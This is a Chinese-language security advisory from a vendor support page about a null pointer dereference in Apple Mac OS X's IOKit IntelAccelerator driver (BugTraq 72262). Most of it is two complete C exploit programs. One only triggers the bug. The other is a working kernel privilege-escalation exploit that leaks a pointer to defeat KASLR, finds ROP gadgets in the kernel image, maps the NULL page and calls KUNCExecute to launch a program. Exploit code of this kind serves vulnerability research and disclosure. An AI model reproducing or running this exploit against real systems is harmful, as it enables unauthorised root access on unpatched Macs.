当前位置: 首页 > 服务与支持 > 产品升级公告 > 安全漏洞公告

服务与支持Support

Apple Mac OS X IOKit IntelAccelerator空指针间接引用本地代码执行

     发表日期:2015-01-24 14:11:26

Apple Mac OS X IOKit IntelAccelerator空指针间接引用本地代码执行漏洞
BugTraq-ID:72262
发布日期:2015-01-20
更新日期:2015-01-23
受影响系统:
Apple Mac OS X
详细信息:

OS X(前称Mac OS X)是苹果公司为麦金塔电脑开发的专属操作系统的最新版本。

 

Apple Mac OS X 10.10.1及更早版本在实现上存在内存操作不当导致的代码执行漏洞,攻击者可利用此漏洞以提升的权限执行任意代码。


来源:
Google Security Research
测试方法:
警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!http://www.securityfocus.com/data/vulnerabilities/exploits/72262.c

 

#include <fcntl.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

 

#include <IOKit/IOKitLib.h>

 

int main(){

kern_return_t err;

 

CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");

if(!matching){

printf("unable to create service matching dictionary\\n");

return 0;

}

 

io_iterator_t iterator;

err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);

if (err != KERN_SUCCESS){

printf("no matches\\n");

return 0;

}

 

io_service_t service = IOIteratorNext(iterator);

 

if (service == IO_OBJECT_NULL){

printf("unable to find service\\n");

return 0;

}

printf("got service: %x\\n", service);

 

io_connect_t conn = MACH_PORT_NULL;

err = IOServiceOpen(service, mach_task_self(), 2, &conn);

if (err != KERN_SUCCESS){

printf("unable to get user client connection\\n");

return 0;

}else{

printf("got userclient connection: %x\\n", conn);

}

 

mach_vm_address_t addr = 0x414100000000;

mach_vm_size_t size = 0x1000;

 

err = IOConnectMapMemory(conn, 3, mach_task_self(), &addr, &size, kIOMapAnywhere);

return 0;

}

 

http://www.securityfocus.com/data/vulnerabilities/exploits/72262_1.c

 

// clang -o ig_2_3_exploit ig_2_3_exploit.c -framework IOKit -framework CoreFoundation -m32 -D_FORTIFY_SOURCE=0

// ianbeer

#include <stdint.h>

#include <stdio.h>

#include <stdlib.h>

#include <sys/mman.h>

#include <sys/stat.h>

#include <unistd.h>

 

#include <CoreFoundation/CoreFoundation.h>

#include <IOKit/IOKitLib.h>

 

uint64_t kernel_symbol(char* sym){

char cmd[1024];

strcpy(cmd, "nm -g /mach_kernel | grep ");

strcat(cmd, sym);

strcat(cmd, " | cut -d\' \' -f1");

FILE* f = popen(cmd, "r");

char offset_str[17];

fread(offset_str, 16, 1, f);

pclose(f);

offset_str[16] = \'\\x00\';

 

uint64_t offset = strtoull(offset_str, NULL, 16);

return offset;

}

 

uint64_t leaked_offset_in_kext(){

FILE* f = popen("nm -g /System/Library/Extensions/IONDRVSupport.kext/IONDRVSupport | grep __ZTV17IONDRVFramebuffer | cut -d\' \' -f1", "r");

char offset_str[17];

fread(offset_str, 16, 1, f);

pclose(f);

offset_str[16] = \'\\x00\';

 

uint64_t offset = strtoull(offset_str, NULL, 16);

offset += 0x10; //offset from symbol to leaked pointer

return offset;

}

 

 

uint64_t leak(){

io_iterator_t iter;

 

CFTypeRef p = IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault),

kIOServicePlane,

CFSTR("AAPL,iokit-ndrv"),

kCFAllocatorDefault,

kIORegistryIterateRecursively);

 

if (CFGetTypeID(p) != CFDataGetTypeID()){

printf("expected CFData\\n");

return 1;

}

 

if (CFDataGetLength(p) != 8){

printf("expected 8 bytes\\n");

return 1;

}

 

uint64_t leaked = *((uint64_t*)CFDataGetBytePtr(p));

return leaked;

}

 

extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);

 

uint64_t kext_load_addr(char* target_name){

uint64_t addr = 0;

CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);

CFIndex count = CFDictionaryGetCount(kd);

 

void **keys;

void **values;

 

keys = (void **)malloc(sizeof(void *) * count);

values = (void **)malloc(sizeof(void *) * count);

 

CFDictionaryGetKeysAndValues(kd,

(const void **)keys,

(const void **)values);

 

for(CFIndex i = 0; i < count; i++){

const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);

if (strcmp(name, target_name) == 0){

CFNumberGetValue(CFDictionaryGetValue(values[i],

CFSTR("OSBundleLoadAddress")),

kCFNumberSInt64Type,

&addr);

printf("%s: 0x%016llx\\n", name, addr);

break;

}

}

return addr;

 

}

 

uint64_t load_addr(){

uint64_t addr = 0;

CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);

CFIndex count = CFDictionaryGetCount(kd);

 

void **keys;

void **values;

 

keys = (void **)malloc(sizeof(void *) * count);

values = (void **)malloc(sizeof(void *) * count);

 

CFDictionaryGetKeysAndValues(kd,

(const void **)keys,

(const void **)values);

 

for(CFIndex i = 0; i < count; i++){

const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);

if (strcmp(name, "com.apple.iokit.IONDRVSupport") == 0){

CFNumberGetValue(CFDictionaryGetValue(values[i],

CFSTR("OSBundleLoadAddress")),

kCFNumberSInt64Type,

&addr);

printf("%s: 0x%016llx\\n", name, addr);

break;

}

}

return addr;

}

 

uint64_t* build_vtable(uint64_t kaslr_slide, size_t* len){

uint64_t kernel_base = 0xffffff8000200000;

kernel_base += kaslr_slide;

 

int fd = open("/mach_kernel", O_RDONLY);

if (!fd)

return NULL;

 

struct stat _stat;

fstat(fd, &_stat);

size_t buf_len = _stat.st_size;

 

uint8_t* buf = mmap(NULL, buf_len, PROT_READ, MAP_FILE|MAP_PRIVATE, fd, 0);

 

if (!buf)

return NULL;

 

/*

this stack pivot to rax seems to be reliably present across mavericks versions:

push rax

add [rax], eax

add [rbx+0x41], bl

pop rsp

pop r14

pop r15

pop rbp

ret

*/

uint8_t pivot_gadget_bytes[] = {0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e};

uint8_t* pivot_loc = memmem(buf, buf_len, pivot_gadget_bytes, sizeof(pivot_gadget_bytes));

uint64_t pivot_gadget_offset = (uint64_t)(pivot_loc - buf);

printf("offset of pivot gadget: %p\\n", pivot_gadget_offset);

uint64_t pivot = kernel_base + pivot_gadget_offset;

 

/*

pop rdi

ret

*/

uint8_t pop_rdi_ret_gadget_bytes[] = {0x5f, 0xc3};

uint8_t* pop_rdi_ret_loc = memmem(buf, buf_len, pop_rdi_ret_gadget_bytes, sizeof(pop_rdi_ret_gadget_bytes));

uint64_t pop_rdi_ret_gadget_offset = (uint64_t)(pop_rdi_ret_loc - buf);

printf("offset of pop_rdi_ret gadget: %p\\n", pop_rdi_ret_gadget_offset);

uint64_t pop_rdi_ret = kernel_base + pop_rdi_ret_gadget_offset;

 

/*

pop rsi

ret

*/

uint8_t pop_rsi_ret_gadget_bytes[] = {0x5e, 0xc3};

uint8_t* pop_rsi_ret_loc = memmem(buf, buf_len, pop_rsi_ret_gadget_bytes, sizeof(pop_rsi_ret_gadget_bytes));

uint64_t pop_rsi_ret_gadget_offset = (uint64_t)(pop_rsi_ret_loc - buf);

printf("offset of pop_rsi_ret gadget: %p\\n", pop_rsi_ret_gadget_offset);

uint64_t pop_rsi_ret = kernel_base + pop_rsi_ret_gadget_offset;

 

/*

pop rdx

ret

*/

uint8_t pop_rdx_ret_gadget_bytes[] = {0x5a, 0xc3};

uint8_t* pop_rdx_ret_loc = memmem(buf, buf_len, pop_rdx_ret_gadget_bytes, sizeof(pop_rdx_ret_gadget_bytes));

uint64_t pop_rdx_ret_gadget_offset = (uint64_t)(pop_rdx_ret_loc - buf);

printf("offset of pop_rdx_ret gadget: %p\\n", pop_rdx_ret_gadget_offset);

uint64_t pop_rdx_ret = kernel_base + pop_rdx_ret_gadget_offset;

 

munmap(buf, buf_len);

close(fd);

 

 

/*

in IOAcceleratorFamily2

two locks are held - r12 survives the pivot, this should unlock all the locks from there:

__text:0000000000006F80 lea rsi, unk_32223

__text:0000000000006F87 mov rbx, [r12+118h]

__text:0000000000006F8F mov rax, [rbx]

__text:0000000000006F92 mov rdi, rbx

__text:0000000000006F95 xor edx, edx

__text:0000000000006F97 call qword ptr [rax+858h]

__text:0000000000006F9D mov rdi, rbx ; this

__text:0000000000006FA0 call __ZN22IOGraphicsAccelerator211unlock_busyEv ; IOGraphicsAccelerator2::unlock_busy(void)

__text:0000000000006FA5 mov rdi, [rbx+88h]

__text:0000000000006FAC call _IOLockUnlock

__text:0000000000006FB1

__text:0000000000006FB1 loc_6FB1: ; CODE XREF: IOAccelContext2::clientMemoryForType(uint,uint *,IOMemoryDescriptor **)+650j

__text:0000000000006FB1 xor ecx, ecx

__text:0000000000006FB3 jmp loc_68BC

...

__text:00000000000068BC mov eax, ecx ; jumptable 00000000000067F1 default case

__text:00000000000068BE add rsp, 38h

__text:00000000000068C2 pop rbx

__text:00000000000068C3 pop r12

__text:00000000000068C5 pop r13

__text:00000000000068C7 pop r14

__text:00000000000068C9 pop r15

__text:00000000000068CB pop rbp

__text:00000000000068CC retn

*/

uint64_t unlock_locks = kext_load_addr("com.apple.iokit.IOAcceleratorFamily2") + kaslr_slide + 0x6f80;

 

printf("0x%016llx\\n", unlock_locks);

 

uint64_t KUNCExecute = kernel_symbol("_KUNCExecute") + kaslr_slide;

uint64_t thread_exception_return = kernel_symbol("_thread_exception_return") + kaslr_slide;

 

//char* payload = "/Applications/Calculator.app/Contents/MacOS/Calculator";

char* payload = "/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal";

 

uint64_t rop_stack[] = {

0, //pop r14

0, //pop r15

0, //pop rbp +10

unlock_locks,

pivot, //+20 virtual call is rax+20

0, //+10

0, //+18

0,

0, //+28

0,

0, //+38

0, //pop rbx

0, //pop r12

0, //pop r13

0, //pop r14

0, //pop r15

0, //pop rbp

pop_rdi_ret,

(uint64_t)payload,

pop_rsi_ret,

0,

pop_rdx_ret,

0,

KUNCExecute,

thread_exception_return

};

 

uint64_t* r = malloc(sizeof(rop_stack));

memcpy(r, rop_stack, sizeof(rop_stack));

*len = sizeof(rop_stack);

return r;

}

 

void trigger(void* vtable, size_t vtable_len){

//need to overallocate and touch the pages since this will be the stack:

mach_vm_address_t addr = 0x41420000 - 10 * 0x1000;

mach_vm_allocate(mach_task_self(), &addr, 0x20*0x1000, 0);

 

memset(addr, 0, 0x20*0x1000);

memcpy((void*)0x41420000, vtable, vtable_len);

 

//map NULL page

vm_deallocate(mach_task_self(), 0x0, 0x1000);

addr = 0;

vm_allocate(mach_task_self(), &addr, 0x1000, 0);

char* np = 0;

for (int i = 0; i < 0x1000; i++){

np[i] = \'A\';

}

 

volatile uint64_t* zero = 0;

*zero = 0x41420000;

 

//trigger vuln

CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");

io_iterator_t iterator;

kern_return_t err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);

 

io_service_t service = IOIteratorNext(iterator);

io_connect_t conn = MACH_PORT_NULL;

err = IOServiceOpen(service, mach_task_self(), 2, &conn);

 

addr = 0x12345000;

mach_vm_size_t size = 0x1000;

 

err = IOConnectMapMemory(conn, 3, mach_task_self(), &addr, &size, kIOMapAnywhere);

}

 

int main() {

uint64_t leaked_ptr = leak();

uint64_t kext_load_addr = load_addr();

 

// get the offset of that pointer in the kext:

uint64_t offset = leaked_offset_in_kext();

 

// sanity check the leaked address against the symbol addr:

if ( (leaked_ptr & 0xfff) != (offset & 0xfff) ){

printf("the leaked pointer doesn\'t match up with the expected symbol offset\\n");

return 1;

}

 

uint64_t kaslr_slide = (leaked_ptr - offset) - kext_load_addr;

 

printf("kaslr slide: %p\\n", kaslr_slide);

 

size_t vtable_len = 0;

void* vtable = build_vtable(kaslr_slide, &vtable_len);

 

trigger(vtable, vtable_len);

 

return 0;

}
解决办法:
厂商补丁:

Apple
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

 

http://www.apple.com/support/downloads/